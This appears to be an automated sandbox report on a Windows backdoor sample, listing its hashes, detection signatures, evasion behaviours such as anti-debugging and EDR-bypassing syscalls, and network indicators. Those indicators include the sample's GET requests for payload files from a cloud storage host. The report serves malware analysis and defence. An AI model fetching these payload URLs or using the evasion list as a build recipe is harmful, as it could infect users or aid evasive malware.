Edit tour

Windows Analysis Report
1387457-38765948.15.exe

Overview

General Information

Sample name:	1387457-38765948.15.exe
Analysis ID:	1589380
MD5:	947cd5df10d540b879c037c1cb519e63
SHA1:	8e4f326d08b675c077dc1d19246bac5eaa0f73dc
SHA256:	29f92fd013bdfc23e6b1a088f68b7bf4acf423bcc440d0ff49ac0079a38c5072
Tags:	backdoorexesilverfoxwinosuser-zhuzhu0009
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Drops PE files to the document folder of the user

Found direct / indirect Syscall (likely to bypass EDR)

Searches for specific processes (likely to inject)

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Sample file is different than original file name gathered from version info

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

1387457-38765948.15.exe (PID: 6504 cmdline: "C:\Users\user\Desktop\1387457-38765948.15.exe" MD5: 947CD5DF10D540B879C037C1CB519E63)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1387457-38765948.15.exe

Virustotal: Detection: 8%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown

HTTPS traffic detected: 47.101.26.25:443 -> 192.168.2.5:49981 version: TLS 1.2

Source:	Binary string: C:\BuildAgent\work\897482836e9bb448\_bin\Release\ps64ldr.pdb source: 1387457-38765948.15.exe
Source:	Binary string: y:\avsdk5\engine\make\build\public\64-bit\vseamps.pdb source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr

Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_0000000140004094 GetModuleFileNameW,StrCpyW,PathAppendW,StrCatW,FindFirstFileW,	0_2_0000000140004094
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_00000001400042D0 StrCpyW,PathAppendW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,FreeLibrary,StrCpyW,FindNextFileW,FindClose,FindFirstFileW,StrCmpIW,StrCpyW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,StrCpyW,StrCpyW,PathAppendW,	0_2_00000001400042D0
Source: C:\Users\user\Desktop\1387457-38765948.15.exe	Code function: 0_2_000000014000AB44 FindFirstFileExW,	0_2_000000014000AB44

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\1387457-38765948.15.exe

Code function: 0_2_005AFA05 InternetOpenA,InternetOpenUrlA,InternetReadFile,

0_2_005AFA05

Source: global traffic	HTTP traffic detected: GET /i.dat HTTP/1.1User-Agent: 3MHost: jcoiw1.oss-cn-shanghai.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a.gif HTTP/1.1User-Agent: 3MHost: jcoiw1.oss-cn-shanghai.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /b.gif HTTP/1.1User-Agent: 3MHost: jcoiw1.oss-cn-shanghai.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c.gif HTTP/1.1User-Agent: 3MHost: jcoiw1.oss-cn-shanghai.aliyuncs.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: jcoiw1.oss-cn-shanghai.aliyuncs.com

Source: 1387457-38765948.15.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 1387457-38765948.15.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 1387457-38765948.15.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 1387457-38765948.15.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: 1387457-38765948.15.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 1387457-38765948.15.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 1387457-38765948.15.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: 1387457-38765948.15.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 1387457-38765948.15.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: 1387457-38765948.15.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: 1387457-38765948.15.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: 1387457-38765948.15.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: 1387457-38765948.15.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://s.symcb.com/pca3-g5.crl0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://s.symcd.com0_
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://s2.symcb.com0
Source: 1387457-38765948.15.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: 1387457-38765948.15.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://sv.symcd.com0&
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://sw.symcb.com/sw.crl0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://sw.symcd.com0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://sw1.symcb.com/sw.crt0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: c4wtKa.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0)
Source: 1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/
Source: 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jcoiw1.oss-cn-shanghai.aliyuncs.com/-2246122658-3693405117-2476756634-1003R
